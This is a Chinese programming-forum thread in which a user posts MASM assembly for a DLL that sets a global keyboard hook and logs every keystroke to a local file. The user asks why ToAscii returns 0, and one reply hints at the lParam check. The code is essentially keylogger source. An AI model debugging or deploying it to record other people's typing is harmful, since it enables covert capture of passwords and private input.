大家帮忙看看这个DLL

shadowxh

写了个全局钩子，用来记录按键并写入一个文件，可是发现无论怎么改，invoke ToAscii的返回值始终是0.。。。郁闷
好心人帮忙看看，感激不尽。代码如下：
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
hInstance    dd    ?
.data?
hHook    dd    ?
hFile    dd    ?
szAscii        db    4 dup (?)
lpNumWritten    dd    ?
.const
szFileName    db    '1.txt',0
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;dll入口点
DllEntry proc _hInstance,_dwReason,_dwReserved
   
    push _hInstance
    pop hInstance
    mov eax,_dwReason
    .if eax==DLL_PROCESS_ATTACH
        invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
        .if eax
        mov hFile,eax
        mov eax,TRUE
        ret
        .endif
    .elseif eax==DLL_PROCESS_DETACH
        invoke CloseHandle,hFile
        mov eax,TRUE
        ret
    .else
        mov eax,TRUE
        ret
    .endif
    ret
DllEntry endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子回调函数
ProcHook proc _dwCode,_wParam,_lParam
    LOCAL @szKeyBoardState[256]:byte
    mov eax,_lParam
    shr eax,31
    .if eax
        invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
        invoke GetKeyboardState,addr @szKeyBoardState
        invoke GetKeyState,VK_SHIFT
        mov @szKeyBoardState+VK_SHIFT,al
        mov ecx,_lParam
        shr ecx,16
        invoke ToAscii,_wParam,ecx,addr @szKeyBoardState,addr szAscii,0
        mov byte ptr szAscii [eax],0
        invoke WriteFile,hFile,addr szAscii,sizeof szAscii,offset lpNumWritten,0
    .endif
    ret

ProcHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子安装函数
InstallHook proc
   
    invoke SetWindowsHookEx,WH_KEYBOARD,offset ProcHook,hInstance,0
    mov hHook,eax
    ret

InstallHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子卸载函数
UninstallHook proc
   
    invoke UnhookWindowsHookEx,hHook
    ret

UninstallHook endp
end DllEntry

大头石

    LOCAL @szKeyBoardState[256]:byte
     mov eax,_lParam
     shr eax,31
这里可能有点问题

shadowxh

LOCAL @szKeyBoardState[256]:byte
     mov eax,_lParam
     shr eax,31
这里可能有点问题

为什么？